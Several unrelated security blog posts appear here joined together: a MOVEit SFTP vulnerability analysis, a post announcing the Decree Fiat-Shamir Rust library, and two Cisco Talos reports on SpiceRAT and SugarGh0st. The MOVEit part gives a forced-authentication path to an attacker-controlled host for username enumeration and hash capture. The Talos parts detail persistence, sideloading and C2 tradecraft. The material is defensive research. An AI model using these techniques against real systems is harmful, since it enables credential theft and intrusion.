For example, if we knew that [email protected] was a valid user, we could attempt to exploit our forced authentication for fred.blogs, and specify a key location of \\\\attacker.uniq.dns.lookup.watchtowr.com\\foo.

If our malicious DNS server sees a lookup for this unique hostname - so, just requiring DNS outbound (ha ha please don’t pretend that you restrict outbound DNS), this allows us to pre-authentication determine if a username is valid.

If, on the other hand, we see no incoming connection, however, we would then repeat the auth request with a slightly different username - perhaps f.blogs or fblogs. Once we see an incoming DNS query for our next correlated and unique hostname, we know we’ve found a valid username.

To paint this very simply - we could generate a login request for fred.blogs and specify the key file to be located at \\\\fred.blogs.watchtowr.com\\foo . We could then examine watchTowr DNS server logs to see if anyone has attempted to resolve fred.blogs.watchtowr.com, and if they have, we know that the server has successfully validated that username and found it to be correct.

As before, we would generate multiple permutations of login names, but this time we would be able to send them faster since we have no need to wait for an incoming connection on each attempt. Rather, we can send all our requests, specifying separate domain names on each, and peruse the DNS server’s logs to see which generated a DNS lookup.

The Fix

Progress have developed and released patches, in the form of version 2024.0.2. The version on the SftpServer.exe binary has been bumped in this release to 16.0.2.57.

Examining the patch confirms our analysis, as the two stanzas that did not set the StatusCode member have been patched to do so.

This fix prevents the corner-case we saw before. In the new version of the code, when authentication is denied, the StatusCode is also set, which prevents the calling code from mistakenly believing that authentication has partially succeeded.

Further changes appear to have taken place inside the IPWorks SSH library, perhaps in an attempt to harden it, although these seem to be in vain (see immediately below).

Further Fallout

While this CVE is being touted as a vulnerability in Progress MOVEit, which is technically correct, we feel that what we’re actually seeing is not a case of a single issue, but two separate vulnerabilities, one in Progress MOVEit and one in IPWorks SSH server.

While the more devastating vulnerability, the ability to impersonate arbitrary users, is unique to MOVEit, the less impactful (but still very real) forced authentication vulnerability is likely to affect all applications that use the IPWorks SSH server.

We attempted to verify this by building the IPWorks SSH samples, and found that they do, indeed, allow us to cause a forced SMB authentication, permitting us to use Responder to crack the resultant hashes (for reference, the version of the IPWorks Nuget package we tested was 24.0.8917).

This is of particular significance since other applications may not use the strong privilege separation (such as service accounts) that MOVEit entails, and may instead immediately expose administrator credentials allowing a full system compromise.

Mitigations and IoCs

This is a pretty bad attack, but there are at least some pieces of good news for defenders, at least.

Firstly, it’s important to note that exploitation of this attack requires knowledge of a valid username on the system. Although this is a low bar for attackers to overcome, it will help limit the progress of automated attacks.

In addition to requiring a valid username, the specified username must pass any IP-based restrictions, and so, locking down users to whitelisted IP addresses may provide a reduction in risk.

Because you do use extra controls, right? right?

Additionally, it may be of interest that the attack is necessarily quite noisy in terms of log entries. For example, the SftpServer.log file will log a failure to access the certificate store. Entries will appear like this:

2024-06-19 16:45:24.412 #0B z10 <0> (229464221718840721395) IpWorksKeyService: Caught exception of type IPWorksSSHException: The certificate store could not be opened.
Stack trace:
   at nsoftware.IPWorksSSH.Certificate..ctor(Byte[] certificateData)
   at MOVEit.Net.Ssh.IpWorksKeyService.ParseKeyContent(String keyContent)
   at MOVEit.Net.Ssh.IpWorksKeyService.GetKeyFingerprint(String keyContent, FingerprintType fingerprintType)

This error is indicating that IPWorks has failed to parse a key passed by the client, and is generated even when a valid key path is provided in place of a valid key blob itself.

The following message may also appear when attempting to impersonate other users. Note the two spaces between the words ‘fingerprint’ and user, where there would normally be an key hash:

2024-06-19 16:45:25.255 #0B z50 <0> (229464221718840721395) UserAuthRequestHandler: Validating client key fingerprint  for user user2

To contrast, a legitimate message would resemble the following.

2024-06-13 12:30:56.542 #04 z50 <0> (422095031718307051011) UserAuthRequestHandler: Client key fingerprint 54:c2:1f:33:ab:63:ff:39:bd:03:d2:62:a1:2e:f3:e0 already authenticated for user user1; continuing with user authentication process

Another notification of exploitation attempts is the following entry:

2024-06-19 18:25:59.843 #04 z10 <0> (500515741718846753874) UserAuthRequestHandler: SftpPublicKeyAuthenticator: Attempted to authenticate empty public key fingerprint

This indicates that a key has been provided by a file path, instead of as a blob of binary data. This is very unusual (and not part of the SSH specification), and unlikely to appear in normal use.

Finally, note that the following two messages are an indicator of exploitation only when they occur together on the same connection (the connection ID here is the same on both entries, ‘277614021718840671583’). The second entry, indicating that a password is required in addition to a key, may also be an indicator in its own if your environment is not configured to require such credentials.

2024-06-19 16:45:26.240 #07 z30 <0> (277614021718840671583) SILUser.ExecuteAuthenticators: User 'user2' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
2024-06-19 16:45:27.036 #07 z50 <0> (277614021718840671583) UserAuthRequestHandler: Client key validation successful but password is also required

Note that some of these log messages will be shown in the default logging configuration, while some will not - it may be useful to use our PoC code to validate your logging setup.

Conclusions

Clearly, this is a serious vulnerability. It is also somewhat difficult to diagnose, given the knowledge of the SSH protocol and a considerable .NET reverse-engineering effort required.

However, the presence of the Illegal characters in path exception should grab the attention of any other researchers who are searching for the vulnerability, and the relative simplicity of exploitation lends itself to ‘accidental’ discovery.

Once a researcher has found that a key can be loaded from a file, forced authentication is already possible, and it is reasonable to assume they could then stumble upon the ability to impersonate an arbitrary user simply by supplying their own key and seeing what happens.

It should be noted that, while MOVEit has suffered some ‘no brainer’ vulnerabilities in the past (such as SQLi), this issue does not fall into the ‘simple-error-that-should-not-have-made-it-into-hardened-software’ category.

The vulnerability arises from the interplay between MOVEit and IPWorks SSH, and a failure to handle an error condition. This is not the kind of vulnerability that could be easily found by static analysis, for example.

However, the presence of the thrown-and-then-caught exception does somewhat give the game away, and should have been a beacon for developers during code review.

It is not (yet) known how Progress located this issue, and indeed, this could’ve been exactly the case - a routine code review could have resulted in a developer locating the issue, finding the root cause, and realizing the danger to the authentication system that it posed. If this is indeed the case, we take our hats off to Progress for taking the issue as seriously as it deserves, and not attempting to sweep it under the rug, as we’ve seen other vendors do.

If this was an external party, similar kudos - epic.

On the other hand, though, we are somewhat troubled (could you guess?) by the advisory’s use of the term ‘limited scenarios’, as we can’t yet determine scenarios that could prevent trivial exploitation. Perhaps this is due to a misunderstanding of the severity of the issue by the vendor, or perhaps it is an ill-advised attempt to downplay the seriousness of its error - or perhaps, our analysis is wrong, and this is all by design.

Progress has been contacting customers for weeks/months to patch this issue - and have made good-faith efforts to ensure this has been done. We do not expect anyone to still be vulnerable due to the embargo, and the efforts taken proactively by Progress to ensure customers deployed patches.

If for some reason you don’t patch systems when a vendor reaches out to make you aware of a critical vulnerability that they are urging you to patch, please patch now.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of exploitable vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

By Opal Wright

The Fiat-Shamir transform is an important building block in zero-knowledge proofs (ZKPs) and multi-party computation (MPC). It allows zero-knowledge proofs based on interactive protocols to be made non-interactive. Essentially, it turns conversations into documents. This ability is at the core of powerful technologies like SNARKs and STARKs. Useful stuff!

But the Fiat-Shamir transform, like almost any other cryptographic tool, is more subtle than it looks and disastrous to get wrong. Due to the frequency of this sort of mistake, Trail of Bits is releasing a new tool called Decree, which will help developers specify their Fiat-Shamir transcripts and make it easier to include contextual information with their transcript inputs.

Fiat-Shamir overview

Many zero-knowledge proofs have a common, three-step protocol structure¹:

1. Peggy sends Victor a set of commitments to some values.
2. Victor responds with a random challenge value.
3. Peggy responds with a set of values that integrate both the committed values from step (1) and Victor’s random challenge value.

Obviously, the details of steps (1) and (3) will vary quite a bit from one protocol to the next, but step (2) is pretty consistent. It’s also the only part where Victor has to contribute anything at all.

It would make things much more efficient if we could eliminate the whole part where Victor picks a random challenge value and transmits it to Peggy. We could just let Peggy pick, but that gives her too much power: in most protocols, if Peggy can pick the challenge, she can customize it to her commitments to forge proofs. Worse, even if Peggy can’t pick the challenge, but can predict the challenge Victor will pick, she can still customize her commitments to the challenge to forge proofs.

The Fiat-Shamir transform allows Peggy to generate challenges but with the following features:

• Peggy can’t meaningfully control the result of the generated challenges.
• Once Peggy has generated a challenge, she cannot modify her commitment values.
• Once Victor has the commitment information, he can reproduce the same challenge value Peggy generates.

The basic mechanism of the Fiat-Shamir transform is to feed all of the public parts of the proof (called a transcript of the proof) into a hash function, and use the output of the hash function to generate challenges. We have another blog post that describes this in better detail.

Having a complete transcript is critical to the secure generation of challenges. This means that implementers need to clearly specify and enforce transcript requirements.

Failure modes

There are a couple of Fiat-Shamir failure patterns we see in practice.

Lack of implementation specification

We often observe that customers’ transcripts are ad-hoc constructions, specified only by the implementation. The list of values added to the transcript, the order of their inclusion in the transcript, and the format of the data can be ascertained only by looking at the code.

Being so loosey-goosey with such an important component of a proof system is bad practice, but we see it all the time in our code reviews.

Incorrect formal specification

Papers describing new proof techniques or MPC systems necessarily reference the Fiat-Shamir transform, but how the authors of those papers discuss the topic can make a big difference in the security of implementation.

The optimal situation occurs when authors provide a detailed specification for secure challenge generation. A simple, unambiguous list of transcript values is about as easy as it gets, and will be accessible to implementers at all levels of experience. Assuming the authors don’t make a mistake with their spec, implementers have a good chance of avoiding weak Fiat-Shamir attacks.

When authors wave their hands and say little more than “This protocol can be made interactive using the Fiat-Shamir transform,” the nitty-gritty details are left to the implementer. For savvy cryptographers who are up to date with the literature and understand the subtleties of the Fiat-Shamir transform, this is labor-intensive, but workable. For less experienced developers, however, this is a recipe for disaster.

The worst of both worlds is when authors are hand-wavy, but try to give unproven examples. One of our other blog posts includes a good example of this: the Bulletproofs paper. The authors’ original paper referenced the Fiat-Shamir transform, and suggested what a challenge generation might look like. Many cryptographers used that example as the basis for their Bulletproofs implementation, and it turned out to be wrong.

Lack of enforcement

Even when a transcript specification is present, it can be hard to verify that the spec is followed.

Proof systems and protocols in use today are incredibly complex. For some zkSNARKS, the Fiat-Shamir transcript can include values that are generated in subroutines of subroutines of subroutines. A protocol may require Peggy to generate values that meet specific properties before they can be used in the proof and thus integrated into the transcript. This leads to complicated call trees and a lot of conditional blocks in the software. It’s easy for a transcript value that’s handled in an “if” block to be skipped in the corresponding “else” block.

Also, the complexity of these protocols can lead to intricate architectures and long functions. As functions grow longer, it becomes hard to verify that all the expected values are being included in the transcript. Transcript values are often the result of very complex computations, and are usually added to the transcript shortly after being computed. That means transcript-related calls can be dozens of lines apart, or buried in subroutines in entirely different modules. It’s very easy for a missed transcript value to get lost in the noise.

Not by fiat, but by decree

Trail of Bits is releasing a Rust library to help developers avoid these pitfalls. The library is called Decree, and it’s designed to help developers both create and enforce transcript specifications. It also includes a new trait designed to make it easier for transcript values to include contextual information like domain parameters, which are sometimes missed by developers and authors alike.

The first big feature of Decree is that, when initializing a Fiat-Shamir transcript, it requires an up-front specification of required transcript values, as well as a list of the expected challenges. Trying to generate a challenge before all of the expected values have been provided gets flagged as an error. Trying to add a value to the transcript that isn’t expected in the specification gets flagged as an error. Trying to add a value to the transcript that has already been defined gets flagged as an error. Trying to request challenges out of order… you get the idea.

This specification and enforcement mechanism is provided by the Decree struct, which builds on the venerable Merlin library. Using Merlin means that the underlying hashing and challenge generation mechanisms are solid. Decree is designed to manage access to an underlying Merlin transcript, not to replace its cryptographic internals.

As an example, we can riff a bit on our integration test that implements Girault’s identification protocol. In our modified example, we’ll start by making the following call:

let mut transcript = Decree::new("girault",
     &["g", "N", "h", "u"], &["e", "f"]);

This initializes the Decree struct so that it expects four inputs named g, N, h, and u, and two outputs named e and f. (For the Girault proof, we only need e; f is included purely for illustrative purposes.)

We can add all of these values to the transcript at the same time, or we can add them as they’re calculated:

transcript.add_serial("h", &h)?;
transcript.add_serial("u", &u)?;
transcript.add_serial("g", &g)?;
transcript.add_serial("N", &n)?;

Notice that the order we added the values to the transcript doesn’t match the ordering given in the declaration. Decree doesn’t update the underlying Merlin transcript until all of the values have been specified, at which point the inputs are fed into the transcript in alphabetical order. Changing up how you order your Decree inputs doesn’t impact the generated challenges.

We can then generate our challenges:

let mut challenge_e: [u8; 128] = [0u8; 128];
let mut challenge_f: [u8; 32] = [0u8; 32];
transcript.get_challenge("e",
    &mut challenge_e)?;
transcript.get_challenge("f",
    &mut challenge_f)?;

When we generate challenges, order does matter: we are required to generate e first, because e is listed ahead of f in the declaration.

A Decree struct is not limited to single-step protocols, either. Once all of the challenges in a given specification have been generated, a Decree transcript can be extended to handle further input values and challenges, carrying all of the previous state information with it. For multi-stage proofs, the extension calls help delineate when protocol stages begin and end.

The ability to include contextual information is provided by the Inscribe trait, which is derivable for structs with named members. When deriving the Inscribe trait, developers can specify a function that provides relevant contextual information, such as elliptic curve or finite field parameters. This information is included alongside deterministic serializations of the struct members. And if a struct member supports the Inscribe trait, then its contextual information will be included as well.

We can use the Inscribe trait to simplify handling of a Schnorr proof:

/// Schnorr proof as a struct
    #[derive(Inscribe)]
    struct SchnorrProof {
        #[inscribe(serialize)]
        base: BigInt,
        #[inscribe(serialize)]
        target: BigInt,
        #[inscribe(serialize)]
        modulus: BigInt,
        #[inscribe(serialize)]
        base_to_randomized: BigInt,
        #[inscribe(skip)]
        z: BigInt,
    }

After we’ve filled in the base, target, modulus, and base_to_randomized values of a SchnorrProof struct, we can simply add it to our transcript, generate our challenge, and update the z value:

let mut transcript = Decree::new(
    "schnorr proof", &["proof_data"], 
&["z_bytes"]).unwrap();
transcript.add("proof_data", &proof)?;

let mut challenge_bytes: [u8; 32] = [0u8; 32];
transcript.get_challenge("z_bytes",
&mut challenge_bytes)?;
let chall = BigInt::from_bytes_le(Sign::Plus,
&challenge_bytes);
let proof.z = (&chall * &log) + &randomizer_exp;

By setting the #[inscribe(skip)] flag on the z member, we set up the struct to automatically add every other value to the transcript; adding z to the proof makes it ready to send to the verifier.

In short, the Decree struct helps programmers to define, enforce, and understand their Fiat-Shamir transcripts, while the Inscribe trait makes it easier for developers to ensure that important contextual data (such as elliptic curve identifiers) is included by default. While getting a Fiat-Shamir specification wrong is still possible, it’ll at least be easier to spot, test, and fix.

So give it a shot, and let us know what you think.

¹Many of the more complicated proof systems have multiple instances of this structure. That’s okay; our ideas here extend to those systems.

• Cisco Talos discovered a new remote access trojan (RAT) dubbed SpiceRAT, used by the threat actor SneakyChef in a recent campaign targeting government agencies in EMEA and Asia. 
• We observed that SneakyChef launched a phishing campaign, sending emails delivering SugarGh0st and SpiceRAT with the same email address. 
• We identified two infection chains used to deliver SpiceRAT utilizing LNK and HTA files as the initial attack vectors. 

Cisco Talos would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation. 

SneakyChef delivered SpiceRAT to target Angola government with lures from Turkmenistan news agency 

Talos recently revealed SneakyChef’s continuing campaign targeting government agencies across several countries in EMEA and Asia, delivering the SugarGh0st malware (read the corresponding research here). However, we found a new malware we dubbed “SpiceRAT” was also delivered in this campaign.  

SneakyChef is using a name "ala de Emissão do Edifício B Mutamba" and the email address “dtti.edb@[redated]” to send several phishing emails with at least 28 different RAR file attachments to deliver either SugarGh0st or SpiceRAT. 

One of the decoy PDFs that we analysed in this campaign was dropped by a RAR archive, delivered as an attachment in the emails likely targeted Angolan government agencies. The decoy PDF contained lures from the Turkmenistan state-owned news media “ТУРКМЕНСКАЯ ГОСУДАРСТВЕННАЯ ИЗДАТЕЛЬСКАЯ СЛУЖБА” (Neytralnyy Turkmenistan), indicating that the actor has likely downloaded the PDF from their official website. We also found that a similar decoy PDF from the same news agency was dropped by the RAR archive that delivered the SugarGh0st malware in this campaign, highlighting that SneakyChef has SugarGh0st RAT and SpiceRAT payloads in their arsenal.   

Two infection chains 

Talos discovered two infection chains employed by SneakyChef to deploy SpiceRAT. Both infection chains involved multiple stages launched by an HTA or LNK file.  

LNK-based infection chain  

The LNK-based infection chain begins with a malicious RAR file that contains a Windows shortcut file (LNK) and a hidden folder. This folder contains multiple components, including a malicious executable launcher, a legitimate executable, a malicious DLL loader, an encrypted SpiceRAT masquerading as a legitimate help file (.HLP) and a decoy PDF. The table below shows an example of the components of this attack chain and the description. 

When the victim extracts the RAR file, it drops the LNK and a hidden folder on their machine. After a victim opens the shortcut file, which masqueraded as a PDF document, it executes an embedded command to run the malicious launcher executable from the dropped hidden folder.  

This malicious launcher executable is a 32-bit binary compiled on Jan. 2, 2024. When launched by the shortcut file, it reads the victim machine’s environment variable, the execution path of the legitimate executable and the path of the decoy PDF document and runs them using the API ShellExecuteW.  

The legitimate file is one of the components of SpiceRAT infection, which will sideload the malicious DLL loader to decrypt and launch the SpiceRAT payload.  

HTA-based infection chain 

The HTA-based infection chain also begins with a RAR archive delivered with the email. The RAR file contains a malicious HTA file. When the victim runs the malicious HTA file, the embedded malicious Visual Basic script executes and drops the embedded base64-encoded downloader binary into the victim’s user profile temporary folder, disguised as a text file named “Microsoft.txt.” 

After dropping the malicious downloader executable, the HTA file executes another function, which drops and executes a Windows batch file in the victim’s user profile temporary folder, named “Microsoft.bat.”  

The malicious batch file performs the following operations on the victim’s machine: 

• The certutil command decodes the base64-encoded binary data from “Microsoft.txt” and saves it as “Microsoft.exe” in the victim’s user profile temporary folder.  

• It creates a Windows scheduled task that runs the malicious downloader every five minutes, supressing any warnings that it triggers when the same task name existed.  

• The batch script creates another Windows task named “MicrosoftDeviceSync” to run a downloaded legitimate executable “ChromeDriver.exe” every 10 minutes.  

• After establishing persistence with the Windows scheduled task, the batch script runs three other commands to erase the infection markers. This includes deleting the Windows task named MicrosoftDefenderUpdateTaskMachineClSAN and removing the encoded downloader “Microsoft.txt,” the malicious HTA file, and any other contents unpacked from the RAR file attachment.  

The malicious downloader is a 32-bit executable compiled on March 5, 2024. After running on the victim’s machine through the Windows task MicrosoftEdgeUpdateTaskMachineClSAN, it downloads a malicious archive file “chromeupdate.zip” from an attacker-controlled server through a hardcoded URL and unpacks its contents into the folder at “C:\ProgramData\Chrome”. The unpacked files are the components of SpiceRAT.  

Analysis of SpiceRAT 

Both infection chains eventually drop the SpiceRAT files into victim machines. The SpiceRAT files include four main components: a legitimate executable file, a malicious DLL loader, an encrypted payload and the downloaded plugins.  

The loader components of SpiceRAT 

Legitimate executable 

The threat actor is using a legitimate executable (named “RunHelp.exe”) as a launcher to sideload the malicious DLL loader file (ssMUIDLL.dll). This legitimate executable is a Samsung RunHelp application signed with the certificate of "Samsung Electronics CO., LTD.” In some instances, it has been observed masquerading as “dxcap.exe,” a DirectX diagnostic included with Visual Studio, and “ChromeDriver.exe,” an executable that Selenium WebDriver uses to control the Google Chrome web browser. 

The legitimate Samsung helper application typically loads a DLL called “ssMUIDLL.dll.” In this attack, the threat actor abuses the application by sideloading a malicious DLL loader that is masquerading as the legitimate DLL and executes its exported function GetFulllangFileNamew2. 

Malicious DLL loader 

The malicious loader is a 32-bit DLL compiled on Jan. 2, 2024. When its exported function GetFullLangFileNameW2() is run, it copies the downloaded legitimate executable into the folder "C:\Users\<user>\AppData\Local\data\” as “dxcap.exe” along with the malicious DLL “ssMUIDLL.dll” and the encrypted SpiceRAT payload “CGMIMP32.HLP.”  

It executes the schtasks command to create a Windows task named “Microsoft Update,” configured to run “dxcap.exe” every two minutes. This technique establishes persistence at multiple locations on the victim's machine to maintain resilience.    

Then the loader DLL takes the snapshot of the running processes in the victim machine and checks if the legitimate executable that sideloads this malicious DLL is being debugged by querying its process information using “NtQueryInformationProcess.” 

The loader DLL executes another function that loads the encrypted file “CGMIMP32.HLP,” which is masquerading as a legitimate Windows help file into memory and decrypts it using the RC4 encryption algorithm. In one of the samples, we found that the DLL used a key phrase “{11AADC32-A303-41DC-BF82-A28332F36A2E}” for decrypting SpiceRAT in memory. After decryption, the loader DLL injects and runs the SpiceRAT from memory to its parent process “dxcap.exe.”  

The SpiceRAT payloads 

Talos discovered that SneakyChef has employed SpiceRAT and its plugin as the payloads in this campaign. With the capability to download and run executable binaries and arbitrary commands, SpiceRAT significantly increases the attack surface on the victim’s network, paving the way for further attacks.  

SpiceRAT is a 32-bit Windows executable with three malicious export functions GetFullLangFileNameW2, WinHttpPostShare and WinHttpFreeShareFree. Initially, it executes the GetFullLangFileNameW2 function, creating a mutex as an infection marker on the victim machine. The mutex name is hardcoded in the RAT binary. We spotted two different mutex names among the SpiceRAT samples that we analyzed: 

• {00866F68-6C46-4ABD-A8D6-2246FE482F99}  
• {00861111-3333-4ABD-GGGG-2246FE482F99} 

After the Mutex is created, the RAT collects reconnaissance data from the victim’s machine, including the operating system’s version number, hostname, username, IP address and the system’s network card hardware address (MAC address). The reconnaissance data is then encrypted and stored in the machine’s memory. 

During runtime, the RAT loads the WININET.dll file and imports the addresses of its functions to prepare for C2 communication.  

Once the function addresses of WININET.dll are imported, the RAT executes the WinHttpPostShare function to communicate with the C2. It connects to the C2 server with a hardcoded URL in the binary and through the HTTP POST method.  

Then, it attempts to read and send the encrypted stream of reconnaissance data and user credentials from memory to the C2 server. The C2 server responds with an encrypted message enclosed with HTML tags in the format “<HTML><encrypted Response> </HTML>”. The RAT decrypts the response and writes them into the memory stream.  

We discovered that the C2 server sends an encrypted stream of binary to the RAT. The RAT decrypts the binary stream into a DLL file in the memory and executes its exported functions. The decrypted DLL functions as a plugin to the SpiceRAT.  

SpiceRAT plugin enables further attacks  

SpiceRAT plugin is a 32-bit dynamic link library compiled on March 28, 2023. The plugin has an original filename “Moudle.dll” and has two export functions: Download and RunPE. 

The Download function of the plugin appears to access decrypted response data from the C2 server stored in the victim’s memory and writes them into a file on disk, likely as commanded by the C2.  

The RunPE function appears to execute arbitrary commands or binaries that were likely sent from C2 using the WinExec API.  

C2 communications 

SneakyChef’s infrastructure includes the malware’s download and command and control (C2) servers. In one attack, the threat actor hosted a malicious ZIP archive on the server 45[.]144[.]31[.]57 and hardcoded the following URL in a malicious downloader executable.  

http://45[.]144[.]31[.]57:80/S1VRB0HpMXR79eStog35igWKVTsdbx/chromeupdate.zipservers

We observed that the threat actor used IP addresses and domain names to connect to the C2 servers in different samples of SpiceRAT in this campaign. Our research uncovered various C2 URLs hardcoded in SpiceRAT samples.  

• hxxp[://]94[.]198[.]40[.]4/homepage/index.aspx 
• hxxp[://]stock[.]adobe-service[.]net/homepage/index.aspx 
• hxxp[://]app[.]turkmensk[.]org[/]homepage[/]index.aspx 

One of the C2 servers, 94[.]198[.]40[.]4, was found to be running Windows Server 2016 and hosted on the M247 network, which is frequently abused by APT groups. Passive DNS resolution data indicate that the IP address 94[.]198[.]40[.]4 resolved to the domain app[.]turkmensk[.]org and we found another SpiceRAT sample in the wild that communicated with this domain.  

Further analysis of the C2 server 94[.]198[.]40[.]4 uncovered a unique C2 communication pattern of SpiceRAT. The SpiceRAT initially sends the encrypted reconnaissance data to the C2 URL through the HTTP POST method. The C2 server then responds with an encrypted message embedded in the HTML tags.   

We observed that the SpiceRAT and its C2 servers use a three-byte prefix for their first three requests and responses, as shown in the table below. 

Our analysis suggests that the second request that SpiceRAT sends likely contains the encrypted stream of the victim’s machine user credentials. We found that for the third request that SpiceRAT sends from the victim machine, the C2 server responds with an encrypted stream of the SpiceRAT’s plugin binary. SpiceRAT then decrypts and injects the plugin DLL reflectively.  

Once the plugin is downloaded and implanted on the victim’s machine, SpiceRAT sends another request with the prefix “wG.” The C2 server responds with an unencrypted message “<HTML>D_OK<HTML>”, likely to get a confirmation of successful payload download.  

TTPs overlap with other malware campaigns  

Talos assesses with medium confidence that the actor SneakyChef, using SpiceRAT and SugarGh0st RAT is a Chinese-speaking actor based of the language observed in the artifacts and overlapping TTPs with other malware campaigns.  

In this campaign, we saw that SpiceRAT leverages the sideloading technique, utilizing a legitimate loader alongside a malicious loader and the encrypted payload. Although sideloading is a widely adopted tactic, technique and procedure (TTP), the choice to use the Samsung helper application to sideload the malicious DLL masquerading “ssMUIDLL.dll” file is particularly notable. This method has been previously observed in the PlugX and SPIVY RAT campaigns. 

Coverage 

 Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. 

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. 

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here. 

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. 

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. 

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. 

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. 

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. 

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SID for this threat is 63538. 

ClamAV detections are also available for this threat: 

Win.Trojan.SpiceRAT-10031450-0 

Win.Trojan.SpiceRATPlugin-10031560-0 

Win.Trojan.SpiceRATLauncher-10031652-0 

Win.Trojan.SpiceRATLauncherEXE-10032013-0 

Indicators of Compromise 

Indicators of Compromise associated with this threat can be found here. 

• Cisco Talos recently discovered an ongoing campaign from SneakyChef, a newly discovered threat actor using SugarGh0st malware, as early as August 2023.  
• In the newly discovered campaign, we observed a wider scope of targets spread across countries in EMEA and Asia, compared with previous observations that mainly targeted South Korea and Uzbekistan.   
• SneakyChef uses lures that are scanned documents of government agencies, most of which are related to various countries’ Ministries of Foreign Affairs or embassies. 
• Beside the two infection chains disclosed by Talos in November, we discovered an additional infection chain using SFX RAR files to deliver SugarGh0st.  
• The language used in the SFX sample in this campaign reinforces our previous assertion that the actor is Chinese speaking.   

Cisco Talos would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation. 

SneakyChef actor profile 

In early August 2023, Talos discovered a campaign using the SugarGh0st RAT to target users in Uzbekistan and South Korea. We continued to observe new activities using the same malware to target users in a wider geographical location. Therefore, we created an actor profile for the group and dubbed them “SneakyChef.” 

Talos assesses with medium confidence that SneakyChef operators are likely Chinese-speaking based on their language preferences, the usage of the variants of Gh0st RAT — a popular malware among various Chinese-speaking actors — and the specific targets, which includes the Ministry of Foreign affairs of various countries and other government entities. Talos also discovered another RAT dubbed “SpiceRAT” used in the campaign. Read the corresponding research here.

Targets across EMEA and Asia 

Talos assess with low confidence that the following government agencies are the potential targets in this campaign based on the contents of the decoy documents: 

• Ministry of Foreign affairs of Angola 
• Ministry of Fisheries and Marine Resources of Angola  
• Ministry of Agriculture and Forestry of Angola 
• Ministry of Foreign affairs of Turkmenistan 
• Ministry of Foreign affairs of Kazakhstan 
• Ministry of Foreign affairs of India 
• Embassy of the Kingdom of Saudi Arabia in Abu Dhabi 
• Ministry of Foreign affairs of Latvia  

Most of the decoy documents we found in this campaign are scanned documents of government agencies, which do not appear to be available on the internet. During our research, we observed and analyzed various decoy documents with government-and research conference-themed lures in this campaign. We are sharing a few samples of the decoy documents accordingly. 

Lures targeting Southern African countries 

The threat actor has used decoy documents impersonating the Ministry of Foreign affairs of Angola. The lure content in one of the sample documents appeared to be a circular from the Angolan Ministry of Fisheries and Marine Resources about a debt conciliation meeting between the ministry authority and a financial advisory company.  

Another document contained information about a legal decree concerning state or public assets and their disposal. This document appealed to anyone interested in legal affairs and public heritage regimes and was addressed to the Ministry of Foreign Affairs – MIREX, a centralized institution in Luanda. 

Lures targeting Central Asian countries 

The decoy documents used in the attacks likely targeting countries in Central Asia were either impersonating the Ministry of Foreign affairs of Turkmenistan or Kazakhstan. One of the lures is related to a meeting organized with the Turkmenistan embassy in Argentina and the heads of transportation and infrastructure of the Italian Republic. Another document was a report of planned events and the government-issued list of priorities to be addressed in the year 2024 that includes a formal proclamation-signing event between the Ministry of Defense of Uzbekistan and the Ministry of Defense of Kazakhstan. 

Lures targeting Middle Eastern countries 

A decoy document we observed in the attack likely targeting Middle Eastern countries was an official circular regarding the declaration of an official holiday for the Founding Day of the Kingdom of Saudi Arabia.  

Lures targeting Southern Asian countries 

We found another sample that was likely used to target the Indian Ministry of Foreign Affairs. It has decoy documents, including an Indian passport application form, along with a copy of an Aadhar card, a document that serves as proof of identity in India.  

One of the decoy Word documents we observed contained lures related to India-U.S. relations, including a list of events involving interactions between India’s prime minister and the U.S. president. 

Lures targeting European countries 

A decoy document found in a sample likely targeting the Ministry of Foreign Affairs of Latvia was a circular impersonating the Embassy of Lithuania. It contained a lure document regarding an announcement of an ambassador’s absence and their replacement. 

Other targets 

Along with the government-themed decoy document samples we analyzed, we observed a few other samples from these campaigns. These included decoys such as an application form to register for a conference run by the Universal Research Cluster (URC) and a research paper abstract of the ICCSE international conference. We also saw a few other decoys related to other conference invitations and details, including those for the Political Science and International Relations conference.   

Recently, Proofpoint researchers reported a SugarGh0st campaign targeting an organization in the U.S. involved in artificial intelligence across academia, the private technology sector, and government services, highlighting the wider adoption of SugarGh0st RAT in targeting various business verticals. 

Threat actor continues to leverage old and new C2 domains 

After Talos’ initial disclosure of SugarGh0st campaign in November 2023, we are attributing the past attacks to the newly named threat actor SneakyChef. Despite our disclosure, SneakyChef continued to use the C2 domain we mentioned and deployed the new samples in the following months after our blog post. Most of the samples observed in this campaign communicate with the C2 domain account[.]drive-google-com[.]tk, consistent with their previous campaign. Based on Talos’ Umbrella records, resolutions to the C2 domain were still observed until mid-May.  

Talos also observed the new domain account[.]gommask[.]online, reported by Proofpoint as being used by SugarGh0st. The domain was created in March 2024, and queries were observed through April 21.  

Infection chain abuse SFX RAR as the initial attack vector 

With Talos’ first reporting of the SugarGh0st campaign in November, we disclosed two infection chains that utilized a malicious RAR with an LNK file, likely delivered via phishing email. In the newly observed campaign, in addition to the old infection chains, we discovered a different technique from a few malicious RAR samples.  

